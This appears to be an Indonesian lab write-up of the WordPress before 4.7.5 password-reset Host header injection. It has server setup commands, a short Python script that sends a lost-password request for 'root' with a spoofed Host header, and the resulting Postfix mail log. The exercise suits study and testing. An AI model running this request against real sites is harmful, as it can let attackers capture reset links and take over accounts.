WordPress Core < 4.7.5 Potential Unauthorized Password Reset (0day)
Persiapan
Siapkan satu server yang berisi layanan PHP, MySQL, PHPMyAdmin, Apache2, Postfix, dan Wordpress.
$ sudo apt install apache2 postfix phpmyadmin php mysql-server
Atur konfigurasi Postfix agar bisa mengirim email.
$ sudo nano /etc/postfix/main.cf
inet_interfaces = loopback-only
inet_protocols = ipv4
Pasang dan konfigurasi web Wordpress 4.7.3.
Penyelesaian
Untuk mengeksploitasi bisa dimulai pada URI /wp-login.php?action=lostpassword
dengan script lostpassword.py
dibawah ini.
import requests
url = 'http://118.97.192.154/wp/wordpress/wp-login.php?action=lostpassword'
data = {
'user_login' : 'root',
'redirect_to':'',
'wp-submit':'Get+New+Password',
}
headers = {
'Host' : '45.76.182.97',
'Content-Type' : 'application/x-www-form-urlencoded',
}
x = requests.post(url=url, data=data, headers=headers)
print x.content
Jika dijalankan maka akan menampilkan pesan untuk memeriksa Email. Sedangkan disisi server, pada /var/log/mail.log
maka dapat diketahui luaran seperti ini.
$ sudo tail /var/log/mail.log
Nov 5 03:16:00 debian postfix/pickup[3577]: 447FB261D72: uid=33 from=<www-data>
Nov 5 03:16:00 debian postfix/cleanup[3584]: 447FB261D72: message-id=<[email protected]>
Nov 5 03:16:00 debian postfix/qmgr[3578]: 447FB261D72: from=<www-data@debian>, size=846, nrcpt=1 (queue active)
Nov 5 03:16:04 debian postfix/smtp[3586]: 447FB261D72: to=<[email protected]>, relay=gmail-smtp-in.l.google.com[74.125.200.27]:25, delay=3.8, delays=0.01/0.01/2/1.8, dsn=2.0.0, status=sent (250 2.0.0 OK 1509869764 k7si9171247pgr.403 - gsmtp)
Nov 5 03:16:04 debian postfix/qmgr[3578]: 447FB261D72: removed
Nov 5 03:30:01 debian postfix/pickup[3577]: B2EEB261D72: uid=0 from=<root>
Nov 5 03:30:01 debian postfix/cleanup[3749]: B2EEB261D72: message-id=<20171105083001.B2EEB261D72@debian>
Nov 5 03:30:01 debian postfix/qmgr[3578]: B2EEB261D72: from=<root@debian>, size=533, nrcpt=1 (queue active)
Nov 5 03:30:01 debian postfix/local[3751]: B2EEB261D72: to=<sob@debian>, orig_to=<root>, relay=local, delay=0.02, delays=0.01/0/0/0.01, dsn=2.0.0, status=sent (delivered to command: procmail -a "$EXTENSION")
Nov 5 03:30:01 debian postfix/qmgr[3578]: B2EEB261D72: removed
Adapun yang terjadi disini, sebenarnya hanya melakukan Host Header Injection dan melakukan Reset Password. Email yang didapat untuk konfirmasi seperti ini.
Referensi